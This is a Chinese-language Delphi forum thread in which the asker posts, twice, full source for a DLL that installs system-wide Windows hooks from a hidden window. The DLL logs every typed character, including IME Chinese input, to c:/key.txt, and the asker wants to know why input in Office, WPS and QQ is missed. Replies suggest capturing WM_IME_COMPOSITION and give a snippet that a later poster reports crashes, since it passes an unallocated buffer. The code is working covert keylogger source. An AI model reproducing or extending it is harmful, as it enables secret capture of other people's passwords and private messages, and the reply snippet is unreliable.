为什么无法完全记录汉字输入 ( 积分: 100 )

  • 主题发起人 主题发起人 leeshen
  • 开始时间 开始时间
L

leeshen

Unregistered / Unconfirmed
GUEST, unregistred user!
使用消息过滤,在后台抓取输入的的汉字,在notepad.exe中可以,但是在office,wps,qq等软件中无法记录下输入的汉字,不止为什么?请帮助解答!<br><br>library GetKey;<br><br>uses windows,messages,sysutils;<br><br>{$r *.res}<br><br>const<br><br> &nbsp;HookMemFileName='HookMemFile.DTA';<br><br>type<br> &nbsp;PShared=^TShared;<br> &nbsp;PWin=^TWin;<br> &nbsp;TShared = record<br> &nbsp; &nbsp;HHGetMsgProc:HHook;<br> &nbsp; &nbsp;HHCallWndProc:HHook;<br> &nbsp; &nbsp;Self:integer;<br> &nbsp; &nbsp;Count:integer;<br> &nbsp; &nbsp;hinst:integer;<br> &nbsp;end;<br> &nbsp;TWin = record<br> &nbsp; &nbsp;Msg:TMsg;<br> &nbsp; &nbsp;wClass:TWndClass;<br> &nbsp; &nbsp;hMain:integer;<br> &nbsp;end;<br>var<br> &nbsp;MemFile:THandle;<br> &nbsp;Shared:PShared;<br> &nbsp;Win:TWin;<br><br>procedure SaveInfo(str:string);stdcall;<br>var<br> &nbsp;f:textfile;<br>begin<br> &nbsp;assignfile(f,'c:/key.txt');<br> &nbsp;if fileexists('c:/key.txt')=false then rewrite(f)<br> &nbsp;else append(f);<br> &nbsp;if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')<br> &nbsp;else write(f,str);<br> &nbsp;closefile(f);<br>end;<br><br>procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;<br>begin<br> &nbsp;if (uMessage=WM_CHAR) and (lParam&lt;&gt;1) then<br> &nbsp;begin<br> &nbsp; &nbsp;SaveInfo(format('%s',[chr(wparam and $ff)]));<br> &nbsp; &nbsp;inc(shared^.count);<br> &nbsp; &nbsp;if shared^.count&gt;60 then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;SaveInfo('#13#10');<br> &nbsp; &nbsp; &nbsp;shared^.count:=0;<br> &nbsp; &nbsp;end;<br> &nbsp;end;<br> &nbsp;if (uMessage=WM_IME_CHAR) then<br> &nbsp;begin<br> &nbsp; &nbsp;SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));<br> &nbsp; &nbsp;inc(shared^.count,2);<br> &nbsp;end;<br>end;<br><br>function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;<br>var<br> &nbsp;pcs:PMSG;<br> &nbsp;hd,uMsg,wP,lP:integer;<br>begin<br> &nbsp;pcs:=PMSG(lParam);<br> &nbsp;if (nCode&gt;=0) and (pcs&lt;&gt;nil) and (pcs^.hwnd&lt;&gt;0) then<br> &nbsp;begin<br> &nbsp; &nbsp;hd:=pcs^.hwnd;<br> &nbsp; &nbsp;uMsg:=pcs^.message;<br> &nbsp; &nbsp;wp:=pcs^.wParam;<br> &nbsp; &nbsp;lp:=pcs^.lParam;<br> &nbsp; &nbsp;HookProc(hd,uMsg,wp,lp);<br> &nbsp;end;<br> &nbsp;Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);<br><br>end;<br><br>function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;<br>var<br> &nbsp;pcs:PCWPSTRUCT;<br> &nbsp;hd,uMsg,wP,lP:integer;<br>begin<br> &nbsp;pcs:=PCWPSTRUCT(lParam);<br> &nbsp;if (nCode&gt;=0) and (pcs&lt;&gt;nil) and (pcs^.hwnd&lt;&gt;0) then<br> &nbsp;begin<br> &nbsp; &nbsp;hd:=pcs^.hwnd;<br> &nbsp; &nbsp;uMsg:=pcs^.message;<br> &nbsp; &nbsp;wp:=pcs^.wParam;<br> &nbsp; &nbsp;lp:=pcs^.lParam;<br> &nbsp; &nbsp;HookProc(hd,uMsg,wp,lp);<br> &nbsp;end;<br> &nbsp;Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);<br>end;<br><br>procedure SetHook(fSet:boolean);<br>begin<br> &nbsp;with shared^ do<br> &nbsp;if fSet=true then<br> &nbsp;begin<br> &nbsp; &nbsp;if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);<br> &nbsp; &nbsp;if HHCallWndProc=0 then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);<br> &nbsp; &nbsp; &nbsp;if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);<br> &nbsp; &nbsp;end;<br> &nbsp;end else<br> &nbsp;begin<br> &nbsp; &nbsp;if HHGetMsgProc&lt;&gt;0 then UnhookWindowsHookEx(HHGetMsgProc);<br> &nbsp; &nbsp;if HHCallWndProc&lt;&gt;0 then UnhookWindowsHookEx(HHCallWndProc);<br> &nbsp; &nbsp;HHGetMsgProc:=0;<br> &nbsp; &nbsp;HHCallWndProc:=0;<br> &nbsp;end;<br>end;<br><br>procedure Extro;<br>begin<br> &nbsp;UnmapViewOfFile(Shared);<br> &nbsp;CloseHandle(MemFile);<br>end;<br><br><br>function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;<br>begin<br> &nbsp;Result:=DefWindowProc(hWnd,Msg,wParam,lParam);<br> &nbsp;case Msg of<br> &nbsp;wm_destroy:<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;SetHook(False);<br> &nbsp; &nbsp; &nbsp;ExitThread(0);<br> &nbsp; &nbsp; &nbsp;freelibrary(shared^.hinst);<br>// &nbsp; &nbsp; &nbsp;TerminateThread();<br> &nbsp; &nbsp; &nbsp;//exitprocess(0);<br> &nbsp; &nbsp;end;<br> &nbsp;end;<br>end;<br><br>procedure run;stdcall;<br>begin<br> &nbsp;win.wClass.lpfnWndProc:= &nbsp; @WindowProc;<br> &nbsp;win.wClass.hInstance:= &nbsp; &nbsp; hInstance;<br> &nbsp;win.wClass.lpszClassName:='GetKey';<br> &nbsp;RegisterClass(win.wClass);<br> &nbsp;win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);<br> &nbsp;FillChar(Shared^,SizeOf(TShared),0);<br> &nbsp;shared^.self:=win.hmain;<br> &nbsp;shared^.hinst:=hinstance;<br> &nbsp;SetHook(true);<br> &nbsp;postmessage(findwindow('WinExec',nil),wm_destroy,0,0);<br> &nbsp;while(GetMessage(win.Msg,win.hmain,0,0))do<br> &nbsp;begin<br> &nbsp; &nbsp;TranslateMessage(win.Msg);<br> &nbsp; &nbsp;DispatchMessage(win.Msg);<br> &nbsp;end;<br>end;<br><br>procedure DllEntryPoint(fdwReason:DWORD);<br>begin<br> &nbsp;case fdwReason of<br> &nbsp;DLL_PROCESS_DETACH:<br> &nbsp; &nbsp;Extro;<br> &nbsp;end;<br>end;<br><br>exports run;<br><br>begin<br> &nbsp;//建立内存映象文件,用来保存全局变量<br> &nbsp;MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);<br> &nbsp;Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);<br> &nbsp;DLLProc:=@DllEntryPoint;<br>end.
 
使用消息过滤,在后台抓取输入的的汉字,在notepad.exe中可以,但是在office,wps,qq等软件中无法记录下输入的汉字,不止为什么?请帮助解答!<br><br>library GetKey;<br><br>uses windows,messages,sysutils;<br><br>{$r *.res}<br><br>const<br><br> &nbsp;HookMemFileName='HookMemFile.DTA';<br><br>type<br> &nbsp;PShared=^TShared;<br> &nbsp;PWin=^TWin;<br> &nbsp;TShared = record<br> &nbsp; &nbsp;HHGetMsgProc:HHook;<br> &nbsp; &nbsp;HHCallWndProc:HHook;<br> &nbsp; &nbsp;Self:integer;<br> &nbsp; &nbsp;Count:integer;<br> &nbsp; &nbsp;hinst:integer;<br> &nbsp;end;<br> &nbsp;TWin = record<br> &nbsp; &nbsp;Msg:TMsg;<br> &nbsp; &nbsp;wClass:TWndClass;<br> &nbsp; &nbsp;hMain:integer;<br> &nbsp;end;<br>var<br> &nbsp;MemFile:THandle;<br> &nbsp;Shared:PShared;<br> &nbsp;Win:TWin;<br><br>procedure SaveInfo(str:string);stdcall;<br>var<br> &nbsp;f:textfile;<br>begin<br> &nbsp;assignfile(f,'c:/key.txt');<br> &nbsp;if fileexists('c:/key.txt')=false then rewrite(f)<br> &nbsp;else append(f);<br> &nbsp;if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')<br> &nbsp;else write(f,str);<br> &nbsp;closefile(f);<br>end;<br><br>procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;<br>begin<br> &nbsp;if (uMessage=WM_CHAR) and (lParam&lt;&gt;1) then<br> &nbsp;begin<br> &nbsp; &nbsp;SaveInfo(format('%s',[chr(wparam and $ff)]));<br> &nbsp; &nbsp;inc(shared^.count);<br> &nbsp; &nbsp;if shared^.count&gt;60 then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;SaveInfo('#13#10');<br> &nbsp; &nbsp; &nbsp;shared^.count:=0;<br> &nbsp; &nbsp;end;<br> &nbsp;end;<br> &nbsp;if (uMessage=WM_IME_CHAR) then<br> &nbsp;begin<br> &nbsp; &nbsp;SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));<br> &nbsp; &nbsp;inc(shared^.count,2);<br> &nbsp;end;<br>end;<br><br>function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;<br>var<br> &nbsp;pcs:PMSG;<br> &nbsp;hd,uMsg,wP,lP:integer;<br>begin<br> &nbsp;pcs:=PMSG(lParam);<br> &nbsp;if (nCode&gt;=0) and (pcs&lt;&gt;nil) and (pcs^.hwnd&lt;&gt;0) then<br> &nbsp;begin<br> &nbsp; &nbsp;hd:=pcs^.hwnd;<br> &nbsp; &nbsp;uMsg:=pcs^.message;<br> &nbsp; &nbsp;wp:=pcs^.wParam;<br> &nbsp; &nbsp;lp:=pcs^.lParam;<br> &nbsp; &nbsp;HookProc(hd,uMsg,wp,lp);<br> &nbsp;end;<br> &nbsp;Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);<br><br>end;<br><br>function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;<br>var<br> &nbsp;pcs:PCWPSTRUCT;<br> &nbsp;hd,uMsg,wP,lP:integer;<br>begin<br> &nbsp;pcs:=PCWPSTRUCT(lParam);<br> &nbsp;if (nCode&gt;=0) and (pcs&lt;&gt;nil) and (pcs^.hwnd&lt;&gt;0) then<br> &nbsp;begin<br> &nbsp; &nbsp;hd:=pcs^.hwnd;<br> &nbsp; &nbsp;uMsg:=pcs^.message;<br> &nbsp; &nbsp;wp:=pcs^.wParam;<br> &nbsp; &nbsp;lp:=pcs^.lParam;<br> &nbsp; &nbsp;HookProc(hd,uMsg,wp,lp);<br> &nbsp;end;<br> &nbsp;Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);<br>end;<br><br>procedure SetHook(fSet:boolean);<br>begin<br> &nbsp;with shared^ do<br> &nbsp;if fSet=true then<br> &nbsp;begin<br> &nbsp; &nbsp;if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);<br> &nbsp; &nbsp;if HHCallWndProc=0 then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);<br> &nbsp; &nbsp; &nbsp;if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);<br> &nbsp; &nbsp;end;<br> &nbsp;end else<br> &nbsp;begin<br> &nbsp; &nbsp;if HHGetMsgProc&lt;&gt;0 then UnhookWindowsHookEx(HHGetMsgProc);<br> &nbsp; &nbsp;if HHCallWndProc&lt;&gt;0 then UnhookWindowsHookEx(HHCallWndProc);<br> &nbsp; &nbsp;HHGetMsgProc:=0;<br> &nbsp; &nbsp;HHCallWndProc:=0;<br> &nbsp;end;<br>end;<br><br>procedure Extro;<br>begin<br> &nbsp;UnmapViewOfFile(Shared);<br> &nbsp;CloseHandle(MemFile);<br>end;<br><br><br>function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;<br>begin<br> &nbsp;Result:=DefWindowProc(hWnd,Msg,wParam,lParam);<br> &nbsp;case Msg of<br> &nbsp;wm_destroy:<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;SetHook(False);<br> &nbsp; &nbsp; &nbsp;ExitThread(0);<br> &nbsp; &nbsp; &nbsp;freelibrary(shared^.hinst);<br>// &nbsp; &nbsp; &nbsp;TerminateThread();<br> &nbsp; &nbsp; &nbsp;//exitprocess(0);<br> &nbsp; &nbsp;end;<br> &nbsp;end;<br>end;<br><br>procedure run;stdcall;<br>begin<br> &nbsp;win.wClass.lpfnWndProc:= &nbsp; @WindowProc;<br> &nbsp;win.wClass.hInstance:= &nbsp; &nbsp; hInstance;<br> &nbsp;win.wClass.lpszClassName:='GetKey';<br> &nbsp;RegisterClass(win.wClass);<br> &nbsp;win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);<br> &nbsp;FillChar(Shared^,SizeOf(TShared),0);<br> &nbsp;shared^.self:=win.hmain;<br> &nbsp;shared^.hinst:=hinstance;<br> &nbsp;SetHook(true);<br> &nbsp;postmessage(findwindow('WinExec',nil),wm_destroy,0,0);<br> &nbsp;while(GetMessage(win.Msg,win.hmain,0,0))do<br> &nbsp;begin<br> &nbsp; &nbsp;TranslateMessage(win.Msg);<br> &nbsp; &nbsp;DispatchMessage(win.Msg);<br> &nbsp;end;<br>end;<br><br>procedure DllEntryPoint(fdwReason:DWORD);<br>begin<br> &nbsp;case fdwReason of<br> &nbsp;DLL_PROCESS_DETACH:<br> &nbsp; &nbsp;Extro;<br> &nbsp;end;<br>end;<br><br>exports run;<br><br>begin<br> &nbsp;//建立内存映象文件,用来保存全局变量<br> &nbsp;MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);<br> &nbsp;Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);<br> &nbsp;DLLProc:=@DllEntryPoint;<br>end.
 
当然.因为方法不对:)
 
请jingtao指教
 
如何截取Word中的汉字? <br>在全局钩子函数中,拦截消息WM_CHAR(得到字符数据),WM_IME_CHAR(普通的汉字数据),WM_IME_COMPOSITION(特殊的汉字数据,如WORD中汉字),如果是WM_IME_COMPOSITION消息,要利用ImmGetCompositionString函数得到所输入的汉字。
 
请教iamxutao,能否给出的代码?谢谢。
 
我对这个也很感兴趣。关注
 
var<br> &nbsp;him:HIMC;<br> &nbsp;dsize:dword;<br> &nbsp;text:pChar;<br><br><br>if uMessage=WM_IME_COMPOSITION then<br>begin<br> &nbsp;hIM := ImmGetContext(hWnd);<br> &nbsp; // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.<br> &nbsp;dSize := ImmGetCompositionString(hIM, GCS_RESULTSTR, nil, 0);<br> &nbsp;dSize := dSize+sizeof(WCHAR);<br><br> &nbsp;// 再调用一次.ImmGetCompositionString获取字符串<br> &nbsp;ImmGetCompositionString(hIM, GCS_RESULTSTR, text, dSize);<br> &nbsp;//text中为中文输入<br> &nbsp;messagebox(0,text,text,MB_OK);<br> &nbsp;ImmReleaseContext(hWnd, hIM);<br>end;
 
楼上的方法不行啊,出现被监视程序的非法访问内存!!!
 

Similar threads

I
回复
0
查看
601
import
I
I
回复
0
查看
742
import
I
后退
顶部